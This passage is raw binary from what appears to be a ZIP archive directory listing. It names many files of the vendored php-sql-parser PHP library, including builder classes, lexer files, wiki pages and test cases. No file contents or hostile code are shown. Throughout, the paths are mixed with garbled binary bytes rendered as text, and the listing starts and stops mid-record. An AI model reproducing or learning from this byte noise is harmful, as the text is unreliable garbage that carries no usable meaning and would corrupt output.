  R            ߘN vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ShowStatementBuilder.phpnu [        PK       \    N            ãN vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/IndexLockBuilder.phpnu [        PK       \	  	  M            WN vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ReservedBuilder.phpnu [        PK       \ȩ    N            N vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/TempTableBuilder.phpnu [        PK       \*    M            N vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/SubQueryBuilder.phpnu [        PK       \7H    [            N vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/WhereBracketExpressionBuilder.phpnu [        PK       \B    L            )N vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ReplaceBuilder.phpnu [        PK       \QpKK  K  N            N vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/RefClauseBuilder.phpnu [        PK       \_*	  	  Q            a	O vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/DefaultValueBuilder.phpnu [        PK       \m5    N            O vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/CollationBuilder.phpnu [        PK       \e~    S            "!O vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/LikeExpressionBuilder.phpnu [        PK       \SD    K            .O vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/InsertBuilder.phpnu [        PK       \|yn
  
  `            <O vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ColumnTypeBracketExpressionBuilder.phpnu [        PK       \ޡY    U            HO vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/InsertColumnListBuilder.phpnu [        PK       \s	  s	  M            DTO vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/DatabaseBuilder.phpnu [        PK       \I!	  	  L            4^O vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/RefTypeBuilder.phpnu [        PK       \~$    [            hO vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/TableBracketExpressionBuilder.phpnu [        PK       \8#t  t  J            zO vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/CheckBuilder.phpnu [        PK       \i(	  	  T            O vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/CreateIndexTypeBuilder.phpnu [        PK       \#Oh
  
  T            ƑO vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/OrderByFunctionBuilder.phpnu [        PK       \gT    P            eO vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/UniqueIndexBuilder.phpnu [        PK       \l	  l	  N            ҪO vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/DirectionBuilder.phpnu [        PK       \rzG^r  r  T            O vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/CreateStatementBuilder.phpnu [        PK       \sC*x!  !  R            O vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/FulltextIndexBuilder.phpnu [        PK       \U3 
   
  T            UO vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ColumnReferenceBuilder.phpnu [        PK       \({    T            O vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/SelectStatementBuilder.phpnu [        PK       \Mf
  f
  I            O vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/LikeBuilder.phpnu [        PK       \	  	  E            O vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/Builder.phpnu [        PK       \X+    U             P vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/SelectExpressionBuilder.phpnu [        PK       \t/Z.R  R  I            sP vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/DropBuilder.phpnu [        PK       \ĸ    T            >P vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/UpdateStatementBuilder.phpnu [        PK       \mHD\  \  V            $P vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/GroupByExpressionBuilder.phpnu [        PK       \TJ>x	  x	  N            1P vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ProcedureBuilder.phpnu [        PK       \ަf\  \  L            ;P vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/SubTreeBuilder.phpnu [        PK       \%nb  b  Q            OP vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/IndexCommentBuilder.phpnu [        PK       \:    J            t\P vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/WhereBuilder.phpnu [        PK       \/!    K            mnP vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/HavingBuilder.phpnu [        PK       \82  2  T            |P vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/WhereExpressionBuilder.phpnu [        PK       \91  1  Q            P vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/CharacterSetBuilder.phpnu [        PK       \A{Ji  i  R            MP vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/SetExpressionBuilder.phpnu [        PK       \mu    \            8P vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/HavingBracketExpressionBuilder.phpnu [        PK       \=,@    V            EP vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/UnionAllStatementBuilder.phpnu [        PK       \x=    P            P vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/IndexParserBuilder.phpnu [        PK       \c1 E  E  W            P vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/CreateIndexOptionsBuilder.phpnu [        PK       \Ȉv	  v	  Q            ~P vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/GroupByAliasBuilder.phpnu [        PK       \    W            uP vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/CreateTableOptionsBuilder.phpnu [        PK       \4`.G
  G
  \            P vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/CreateTableSelectOptionBuilder.phpnu [        PK       \4  4  S             Q vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/IndexAlgorithmBuilder.phpnu [        PK       \e2i    \            Q vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/SelectBracketExpressionBuilder.phpnu [        PK       \m	  m	  M            @Q vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/PositionBuilder.phpnu [        PK       \=go	  o	  K            *$Q vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/EngineBuilder.phpnu [        PK       \Xq
  
  I            .Q vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/JoinBuilder.phpnu [        PK       \ 
   
  T            9Q vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/OrderByPositionBuilder.phpnu [        PK       \i    K            +DQ vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/CreateBuilder.phpnu [        PK       \'    N            HQQ vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/IndexTypeBuilder.phpnu [        PK       \>gO
  O
  ]            ]Q vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/OrderByBracketExpressionBuilder.phpnu [        PK       \鯷    J            hQ vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/AlterBuilder.phpnu [        PK       \\    K            kQ vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ValuesBuilder.phpnu [        PK       \Cp    U            wQ vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/BracketStatementBuilder.phpnu [        PK       \u9҆    T            VQ vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/RenameStatementBuilder.phpnu [        PK       \X
  
  H            `Q vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/SetBuilder.phpnu [        PK       \Wg:    P            ƜQ vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/CreateIndexBuilder.phpnu [        PK       \a0O  O  I            ƨQ vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ShowBuilder.phpnu [        PK       \@6G	  G	  R            Q vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/DropStatementBuilder.phpnu [        PK       \dD
  
  O            WQ vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ConstraintBuilder.phpnu [        PK       \0P    L            iQ vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/OrderByBuilder.phpnu [        PK       \+
  +
  T            Q vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/OrderByReservedBuilder.phpnu [        PK       \}t$_	  _	  I            XQ vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ViewBuilder.phpnu [        PK       \8#+  +  T            0Q vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/DeleteStatementBuilder.phpnu [        PK       \OB    N            Q vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/IndexSizeBuilder.phpnu [        PK       \Ee  e  O            
R vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/PrimaryKeyBuilder.phpnu [        PK       \Q    O            R vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ColumnTypeBuilder.phpnu [        PK       \Sʉ      C            R,R vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/.htaccessnu 7m        PK       \%ʆ	  	  M            -R vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/DataTypeBuilder.phpnu [        PK       \2G    M            7R vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/FunctionBuilder.phpnu [        PK       \sӓ    S            KR vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/UnionStatementBuilder.phpnu [        PK       \ﵗu    V            BNR vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ReplaceColumnListBuilder.phpnu [        PK       \[/N
  N
  K            ZR vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/DeleteBuilder.phpnu [        PK       \    P            OeR vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/CreateTableBuilder.phpnu [        PK       \q
  
  U            RqR vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/CreateIndexTableBuilder.phpnu [        PK       \Sʉ      :            |R vendor/greenlion/php-sql-parser/src/PHPSQLParser/.htaccessnu 7m        PK       \OM    H            }R vendor/greenlion/php-sql-parser/src/PHPSQLParser/lexer/LexerSplitter.phpnu [        PK       \71  1  F            R vendor/greenlion/php-sql-parser/src/PHPSQLParser/lexer/PHPSQLLexer.phpnu [        PK       \Sʉ      @            WR vendor/greenlion/php-sql-parser/src/PHPSQLParser/lexer/.htaccessnu 7m        PK       \Sʉ      -            R vendor/greenlion/php-sql-parser/src/.htaccessnu 7m        PK       \W    5            R vendor/greenlion/php-sql-parser/wiki/Parser-Manual.mdnu [        PK       \f^S  S  1            PR vendor/greenlion/php-sql-parser/wiki/Downloads.mdnu [        PK       \.  .  /            R vendor/greenlion/php-sql-parser/wiki/Roadmap.mdnu [        PK       \~  ~  7            R vendor/greenlion/php-sql-parser/wiki/Complex-Example.mdnu [        PK       \c+
  
  5            \S vendor/greenlion/php-sql-parser/wiki/User-Response.mdnu [        PK       \Sʉ      .            %gS vendor/greenlion/php-sql-parser/wiki/.htaccessnu 7m        PK       \&L    0            phS vendor/greenlion/php-sql-parser/tests/readme.txtnu [        PK       \    3            hjS vendor/greenlion/php-sql-parser/tests/bootstrap.phpnu [        PK       \{!    1            mS vendor/greenlion/php-sql-parser/tests/phpunit.phpnu [        PK       \@6J>	  >	  B            qS vendor/greenlion/php-sql-parser/tests/cases/parser/issue43Test.phpnu [        PK       \    C            y{S vendor/greenlion/php-sql-parser/tests/cases/parser/issue148Test.phpnu [        PK       \.L
  
  D            S vendor/greenlion/php-sql-parser/tests/cases/parser/variablesTest.phpnu [        PK       \q    ?            DS vendor/greenlion/php-sql-parser/tests/cases/parser/fromTest.phpnu [        PK       \XfA  A  B            S vendor/greenlion/php-sql-parser/tests/cases/parser/issue54Test.phpnu [        PK       \F    D            uS vendor/greenlion/php-sql-parser/tests/cases/parser/positionsTest.phpnu [        PK       \Y	  	  C            zS vendor/greenlion/php-sql-parser/tests/cases/parser/issue322Test.phpnu [        PK       \8p  p  B            S vendor/greenlion/php-sql-parser/tests/cases/parser/issue46Test.phpnu [        PK       \&    C            S vendor/greenlion/php-sql-parser/tests/cases/parser/issue338Test.phpnu [        PK       \o3
  3
  B            sS vendor/greenlion/php-sql-parser/tests/cases/parser/issue34Test.phpnu [        PK       \x    B            S vendor/greenlion/php-sql-parser/tests/cases/parser/issue72Test.phpnu [        PK       \Ҍ< K	  K	  B            |S vendor/greenlion/php-sql-parser/tests/cases/parser/issue95Test.phpnu [        PK       \bF  F  A            9S vendor/greenlion/php-sql-parser/tests/cases/parser/selectTest.phpnu [        PK       \6		  	  B            S vendor/greenlion/php-sql-parser/tests/cases/parser/issue51Test.phpnu [        PK       \xP%  %  B            
T vendor/greenlion/php-sql-parser/tests/cases/parser/issue31Test.phpnu [        PK       \
  
  A            T vendor/greenlion/php-sql-parser/tests/cases/parser/updateTest.phpnu [        PK       \BX<
  <
  B            T vendor/greenlion/php-sql-parser/tests/cases/parser/issue87Test.phpnu [        PK       \oXT	  T	  B            ^)T vendor/greenlion/php-sql-parser/tests/cases/parser/issue38Test.phpnu [        PK       \*V    ?            $3T vendor/greenlion/php-sql-parser/tests/cases/parser/dropTest.phpnu [        PK       \
  
  A            t<T vendor/greenlion/php-sql-parser/tests/cases/parser/manualTest.phpnu [        PK       \҅Y7	  	  B            FT vendor/greenlion/php-sql-parser/tests/cases/parser/issue97Test.phpnu [        PK       \(	  (	  B            zPT vendor/greenlion/php-sql-parser/tests/cases/parser/issue11Test.phpnu [        PK       \nM    F            ZT vendor/greenlion/php-sql-parser/tests/cases/parser/issue_git24Test.phpnu [        PK       \Q3.
  .
  C            pcT vendor/greenlion/php-sql-parser/tests/cases/parser/issue108Test.phpnu [        PK       \!7	  7	  B            nT vendor/greenlion/php-sql-parser/tests/cases/parser/issue90Test.phpnu [        PK       \2fQ	  	  B            wT vendor/greenlion/php-sql-parser/tests/cases/parser/issue61Test.phpnu [        PK       \a    B            ET vendor/greenlion/php-sql-parser/tests/cases/parser/issue91Test.phpnu [        PK       \(/	  	  G            T vendor/greenlion/php-sql-parser/tests/cases/parser/issue_git183Test.phpnu [        PK       \	  	  B            T vendor/greenlion/php-sql-parser/tests/cases/parser/issue39Test.phpnu [        PK       \t(;  ;  B            T vendor/greenlion/php-sql-parser/tests/cases/parser/issue33Test.phpnu [        PK       \<    E            T vendor/greenlion/php-sql-parser/tests/cases/parser/allcolumnsTest.phpnu [        PK       \%    B            T vendor/greenlion/php-sql-parser/tests/cases/parser/issue93Test.phpnu [        PK       \2    F            T vendor/greenlion/php-sql-parser/tests/cases/parser/issue_git11Test.phpnu [        PK       \8    A            KT vendor/greenlion/php-sql-parser/tests/cases/parser/deleteTest.phpnu [        PK       \!	  	  B            SU vendor/greenlion/php-sql-parser/tests/cases/parser/gregoryTest.phpnu [        PK       \+0l    A            U vendor/greenlion/php-sql-parser/tests/cases/parser/insertTest.phpnu [        PK       \p	  	  A             U vendor/greenlion/php-sql-parser/tests/cases/parser/inlistTest.phpnu [        PK       \bJ    B            *U vendor/greenlion/php-sql-parser/tests/cases/parser/issue94Test.phpnu [        PK       \On    ?            3U vendor/greenlion/php-sql-parser/tests/cases/parser/leftTest.phpnu [        PK       \{1  1  B            Z@U vendor/greenlion/php-sql-parser/tests/cases/parser/issue84Test.phpnu [        PK       \4	  4	  B            LU vendor/greenlion/php-sql-parser/tests/cases/parser/issue45Test.phpnu [        PK       \	@    C            VU vendor/greenlion/php-sql-parser/tests/cases/parser/issue137Test.phpnu [        PK       \ڎeFz	  z	  A            `U vendor/greenlion/php-sql-parser/tests/cases/parser/gtltopTest.phpnu [        PK       \cj?    C            iU vendor/greenlion/php-sql-parser/tests/cases/parser/issue136Test.phpnu [        PK       \C  C  C            vU vendor/greenlion/php-sql-parser/tests/cases/parser/issue248Test.phpnu [        PK       \v.B
  B
  C            xU vendor/greenlion/php-sql-parser/tests/cases/parser/issue133Test.phpnu [        PK       \l
^	  ^	  B            xU vendor/greenlion/php-sql-parser/tests/cases/parser/issue37Test.phpnu [        PK       \Y`  `  B            HU vendor/greenlion/php-sql-parser/tests/cases/parser/issue74Test.phpnu [        PK       \v F
  F
  B            U vendor/greenlion/php-sql-parser/tests/cases/parser/issue80Test.phpnu [        PK       \ȇ
  
  B            ҦU vendor/greenlion/php-sql-parser/tests/cases/parser/issue60Test.phpnu [        PK       \P    A            ˱U vendor/greenlion/php-sql-parser/tests/cases/parser/nestedTest.phpnu [        PK       \Z*    B            QU vendor/greenlion/php-sql-parser/tests/cases/parser/issue44Test.phpnu [        PK       \eH8  8  ?            VU vendor/greenlion/php-sql-parser/tests/cases/parser/showTest.phpnu [        PK       \a;&&
  &
  B            U vendor/greenlion/php-sql-parser/tests/cases/parser/issue55Test.phpnu [        PK       \@/ĞB	  B	  B            U vendor/greenlion/php-sql-parser/tests/cases/parser/issue42Test.phpnu [        PK       \n    C            IU vendor/greenlion/php-sql-parser/tests/cases/parser/issue149Test.phpnu [        PK       \kͤ
  
  B            U vendor/greenlion/php-sql-parser/tests/cases/parser/issue71Test.phpnu [        PK       \偈k	  	  C            V vendor/greenlion/php-sql-parser/tests/cases/parser/issue125Test.phpnu [        PK       \Q[R.
  .
  B            
V vendor/greenlion/php-sql-parser/tests/cases/parser/issue67Test.phpnu [        PK       \"    ?            BV vendor/greenlion/php-sql-parser/tests/cases/parser/issue219.phpnu [        PK       \,>    C            V vendor/greenlion/php-sql-parser/tests/cases/parser/issue122Test.phpnu [        PK       \K	  	  C            @$V vendor/greenlion/php-sql-parser/tests/cases/parser/issue320Test.phpnu [        PK       \nR  R  C            Y.V vendor/greenlion/php-sql-parser/tests/cases/parser/issue277Test.phpnu [        PK       \p-    D            1V vendor/greenlion/php-sql-parser/tests/cases/parser/subselectTest.phpnu [        PK       \B
  
  B            =V vendor/greenlion/php-sql-parser/tests/cases/parser/issue50Test.phpnu [        PK       \ҥ    B            tHV vendor/greenlion/php-sql-parser/tests/cases/parser/issue78Test.phpnu [        PK       \0C
  
  B            nUV vendor/greenlion/php-sql-parser/tests/cases/parser/issue25Test.phpnu [        PK       \E=	  	  B            _V vendor/greenlion/php-sql-parser/tests/cases/parser/issue52Test.phpnu [        PK       \c,	  ,	  B            iV vendor/greenlion/php-sql-parser/tests/cases/parser/issue68Test.phpnu [        PK       \!|s`	  	  C            .sV vendor/greenlion/php-sql-parser/tests/cases/parser/issue299Test.phpnu [        PK       \    B            |V vendor/greenlion/php-sql-parser/tests/cases/parser/issue82Test.phpnu [        PK       \Cջ/
  /
  B            !V vendor/greenlion/php-sql-parser/tests/cases/parser/issue40Test.phpnu [        PK       \]7!	  	  C            V vendor/greenlion/php-sql-parser/tests/cases/parser/issue120Test.phpnu [        PK       \ǘD	  	  C            DV vendor/greenlion/php-sql-parser/tests/cases/parser/issue135Test.phpnu [        PK       \$  $  C            ǣV vendor/greenlion/php-sql-parser/tests/cases/parser/issue355Test.phpnu [        PK       \|  |  B            ^V vendor/greenlion/php-sql-parser/tests/cases/parser/issue53Test.phpnu [        PK       \kjsM  M  B            LV vendor/greenlion/php-sql-parser/tests/cases/parser/issue56Test.phpnu [        PK       \ u#
  #
  B            V vendor/greenlion/php-sql-parser/tests/cases/parser/issue15Test.phpnu [        PK       \EP    B            V vendor/greenlion/php-sql-parser/tests/cases/parser/aliasesTest.phpnu [        PK       \z	  	  B            V vendor/greenlion/php-sql-parser/tests/cases/parser/issue70Test.phpnu [        PK       \g0  0  C            V vendor/greenlion/php-sql-parser/tests/cases/parser/issue335Test.phpnu [        PK       \I  I  G            ?V vendor/greenlion/php-sql-parser/tests/cases/parser/tableoptionsTest.phpnu [        PK       \8    F            V vendor/greenlion/php-sql-parser/tests/cases/parser/mixedQuotesTest.phpnu [        PK       \_	  	  C            QW vendor/greenlion/php-sql-parser/tests/cases/parser/issue139Test.phpnu [        PK       \MV	  V	  B            W vendor/greenlion/php-sql-parser/tests/cases/parser/issue30Test.phpnu [        PK       \R9^
  ^
  C            W vendor/greenlion/php-sql-parser/tests/cases/parser/issue107Test.phpnu [        PK       \d    C            m%W vendor/greenlion/php-sql-parser/tests/cases/parser/issue261Test.phpnu [        PK       \k&    O            (W vendor/greenlion/php-sql-parser/tests/cases/parser/unionWithParenthesisTest.phpnu [        PK       \}ǂ	  	  C            T2W vendor/greenlion/php-sql-parser/tests/cases/parser/issue117Test.phpnu [        PK       \p:    C            I<W vendor/greenlion/php-sql-parser/tests/cases/parser/issue365Test.phpnu [        PK       \G_	  	  B            BW vendor/greenlion/php-sql-parser/tests/cases/parser/issue41Test.phpnu [        PK       \ĻIO    C            KW vendor/greenlion/php-sql-parser/tests/cases/parser/issue102Test.phpnu [        PK       \_2'  '  I            VUW vendor/greenlion/php-sql-parser/tests/cases/parser/customfunctionTest.phpnu [        PK       \(Z0
  0
  B            aW vendor/greenlion/php-sql-parser/tests/cases/parser/issue12Test.phpnu [        PK       \EϨ.
  .
  B            lW vendor/greenlion/php-sql-parser/tests/cases/parser/issue79Test.phpnu [        PK       \3Y	  	  C            8wW vendor/greenlion/php-sql-parser/tests/cases/parser/issue138Test.phpnu [        PK       \    B            W vendor/greenlion/php-sql-parser/tests/cases/parser/issue36Test.phpnu [        PK       \+`_    @            W vendor/greenlion/php-sql-parser/tests/cases/parser/unionTest.phpnu [        PK       \4_	  	  B            W vendor/greenlion/php-sql-parser/tests/cases/parser/issue32Test.phpnu [        PK       \5u	  	  B            wW vendor/greenlion/php-sql-parser/tests/cases/parser/issue98Test.phpnu [        PK       \jK    C            W vendor/greenlion/php-sql-parser/tests/cases/parser/commentsTest.phpnu [        PK       \Dp4  4  C            sW vendor/greenlion/php-sql-parser/tests/cases/parser/backtickTest.phpnu [        PK       \b7%
  %
  B            W vendor/greenlion/php-sql-parser/tests/cases/parser/issue21Test.phpnu [        PK       \Sʉ      <            W vendor/greenlion/php-sql-parser/tests/cases/parser/.htaccessnu 7m        PK       \6x    C            
W vendor/greenlion/php-sql-parser/tests/cases/parser/issue233Test.phpnu [        PK       \;
	  
	  B            W vendor/greenlion/php-sql-parser/tests/cases/parser/issue69Test.phpnu [        PK       \3`  `  B            W vendor/greenlion/php-sql-parser/tests/cases/parser/issue62Test.phpnu [        PK       \m9iA	  A	  C            W vendor/greenlion/php-sql-parser/tests/cases/parser/issue131Test.phpnu [        PK       \_i}	  	  B            W vendor/greenlion/php-sql-parser/tests/cases/parser/issue65Test.phpnu [        PK       \t1    ?            X vendor/greenlion/php-sql-parser/tests/cases/parser/zeroTest.phpnu [        PK       \    @            WX vendor/greenlion/php-sql-parser/tests/cases/AbstractTestCase.phpnu [        PK       \Y	  Y	  D            X vendor/greenlion/php-sql-parser/tests/cases/creator/issue121Test.phpnu [        PK       \Y*	  *	  D            X vendor/greenlion/php-sql-parser/tests/cases/creator/functionTest.phpnu [        PK       \^V1	  1	  C            O$X vendor/greenlion/php-sql-parser/tests/cases/creator/issue85Test.phpnu [        PK       \M2G    D            -X vendor/greenlion/php-sql-parser/tests/cases/creator/issue242Test.phpnu [        PK       \~/	  /	  D            6X vendor/greenlion/php-sql-parser/tests/cases/creator/issue126Test.phpnu [        PK       \3o _;	  ;	  B            ?X vendor/greenlion/php-sql-parser/tests/cases/creator/updateTest.phpnu [        PK       \~~	  	  H            fIX vendor/greenlion/php-sql-parser/tests/cases/creator/issue_git185Test.phpnu [        PK       \    D            nSX vendor/greenlion/php-sql-parser/tests/cases/creator/issue270Test.phpnu [        PK       \a)fH	  H	  C            VX vendor/greenlion/php-sql-parser/tests/cases/creator/issue92Test.phpnu [        PK       \K=    D            U`X vendor/greenlion/php-sql-parser/tests/cases/creator/issue342Test.phpnu [        PK       \C	  C	  C            bX vendor/greenlion/php-sql-parser/tests/cases/creator/issue87Test.phpnu [        PK       \Bp2	  2	  D            DlX vendor/greenlion/php-sql-parser/tests/cases/creator/issue147Test.phpnu [        PK       \!4    C            uX vendor/greenlion/php-sql-parser/tests/cases/creator/issue22Test.phpnu [        PK       \M[DaE  E  A            "X vendor/greenlion/php-sql-parser/tests/cases/creator/AlterTest.phpnu [        PK       \Rq_	  _	  D            ؋X vendor/greenlion/php-sql-parser/tests/cases/creator/issue101Test.phpnu [        PK       \&%95	  5	  D            X vendor/greenlion/php-sql-parser/tests/cases/creator/issue127Test.phpnu [        PK       \-;C	  C	  C            TX vendor/greenlion/php-sql-parser/tests/cases/creator/issue66Test.phpnu [        PK       \WO  O  D            
X vendor/greenlion/php-sql-parser/tests/cases/creator/issue106Test.phpnu [        PK       \Be7    D            ͵X vendor/greenlion/php-sql-parser/tests/cases/creator/issue319Test.phpnu [        PK       \,ɠM	  M	  C            ;X vendor/greenlion/php-sql-parser/tests/cases/creator/issue58Test.phpnu [        PK       \ea<@	  @	  H            X vendor/greenlion/php-sql-parser/tests/cases/creator/issue_git181Test.phpnu [        PK       \i	l	  l	  D            X vendor/greenlion/php-sql-parser/tests/cases/creator/issue124Test.phpnu [        PK       \UM    D            X vendor/greenlion/php-sql-parser/tests/cases/creator/issue312Test.phpnu [        PK       \>		  	  @            X vendor/greenlion/php-sql-parser/tests/cases/creator/joinTest.phpnu [        PK       \cz "   "  C            X vendor/greenlion/php-sql-parser/tests/cases/creator/issue33Test.phpnu [        PK       \Fi	  i	  B            Y vendor/greenlion/php-sql-parser/tests/cases/creator/deleteTest.phpnu [        PK       \	xV	  V	  D            sY vendor/greenlion/php-sql-parser/tests/cases/creator/issue130Test.phpnu [        PK       \顐j  j  B            =Y vendor/greenlion/php-sql-parser/tests/cases/creator/insertTest.phpnu [        PK       \Sa    B            (Y vendor/greenlion/php-sql-parser/tests/cases/creator/inlistTest.phpnu [        PK       \K	  K	  C            4Y vendor/greenlion/php-sql-parser/tests/cases/creator/issue94Test.phpnu [        PK       \Uki	  i	  D            ?>Y vendor/greenlion/php-sql-parser/tests/cases/creator/issue118Test.phpnu [        PK       \G_?
  
  @            HY vendor/greenlion/php-sql-parser/tests/cases/creator/leftTest.phpnu [        PK       \a
  
  D            SY vendor/greenlion/php-sql-parser/tests/cases/creator/issue104Test.phpnu [        PK       \N  N  D            ]Y vendor/greenlion/php-sql-parser/tests/cases/creator/issue248Test.phpnu [        PK       \zH	  H	  C            `Y vendor/greenlion/php-sql-parser/tests/cases/creator/issue86Test.phpnu [        PK       \k	  k	  A            zjY vendor/greenlion/php-sql-parser/tests/cases/creator/whereTest.phpnu [        PK       \К    D            VtY vendor/greenlion/php-sql-parser/tests/cases/creator/issue361Test.phpnu [        PK       \^3a  a  F            wY vendor/greenlion/php-sql-parser/tests/cases/creator/unaryMinusTest.phpnu [        PK       \ؙ6E	  E	  D            zY vendor/greenlion/php-sql-parser/tests/cases/creator/issue100Test.phpnu [        PK       \K  K  D            <Y vendor/greenlion/php-sql-parser/tests/cases/creator/issue105Test.phpnu [        PK       \WY	  Y	  D            Y vendor/greenlion/php-sql-parser/tests/cases/creator/issue129Test.phpnu [        PK       \^-{~  ~  D            ȚY vendor/greenlion/php-sql-parser/tests/cases/creator/issue125Test.phpnu [        PK       \ 
=    C            Y vendor/greenlion/php-sql-parser/tests/cases/creator/issue83Test.phpnu [        PK       \U	  	  C            %Y vendor/greenlion/php-sql-parser/tests/cases/creator/issue81Test.phpnu [        PK       \4WA؊    C            Y vendor/greenlion/php-sql-parser/tests/cases/creator/issue78Test.phpnu [        PK       \    D            Y vendor/greenlion/php-sql-parser/tests/cases/creator/issue268Test.phpnu [        PK       \5	  5	  D            Y vendor/greenlion/php-sql-parser/tests/cases/creator/issue144Test.phpnu [        PK       \.O	  	  E            Y vendor/greenlion/php-sql-parser/tests/cases/creator/tableexprTest.phpnu [        PK       \6ٹ
  
  C            Y vendor/greenlion/php-sql-parser/tests/cases/creator/issue76Test.phpnu [        PK       \&WD	  D	  J            Y vendor/greenlion/php-sql-parser/tests/cases/creator/count_distinctTest.phpnu [        PK       \'    C            Y vendor/greenlion/php-sql-parser/tests/cases/creator/issue89Test.phpnu [        PK       \yM	  M	  D            5Y vendor/greenlion/php-sql-parser/tests/cases/creator/issue316Test.phpnu [        PK       \YZ  Z  C            Z vendor/greenlion/php-sql-parser/tests/cases/creator/issue63Test.phpnu [        PK       \jWa	  a	  ?            Z vendor/greenlion/php-sql-parser/tests/cases/creator/ascTest.phpnu [        PK       \IsAG	  G	  D            Z vendor/greenlion/php-sql-parser/tests/cases/creator/issue132Test.phpnu [        PK       \au[	  [	  C            N)Z vendor/greenlion/php-sql-parser/tests/cases/creator/issue88Test.phpnu [        PK       \q	  	  D            3Z vendor/greenlion/php-sql-parser/tests/cases/creator/issue134Test.phpnu [        PK       \zE	  	  G            I=Z vendor/greenlion/php-sql-parser/tests/cases/creator/issue_git10Test.phpnu [        PK       \=    D            PGZ vendor/greenlion/php-sql-parser/tests/cases/creator/issue265Test.phpnu [        PK       \=4[	  [	  D            JZ vendor/greenlion/php-sql-parser/tests/cases/creator/issue117Test.phpnu [        PK       \4oT	  T	  D            ]TZ vendor/greenlion/php-sql-parser/tests/cases/creator/issue141Test.phpnu [        PK       \    D            %^Z vendor/greenlion/php-sql-parser/tests/cases/creator/issue256Test.phpnu [        PK       \ug
  
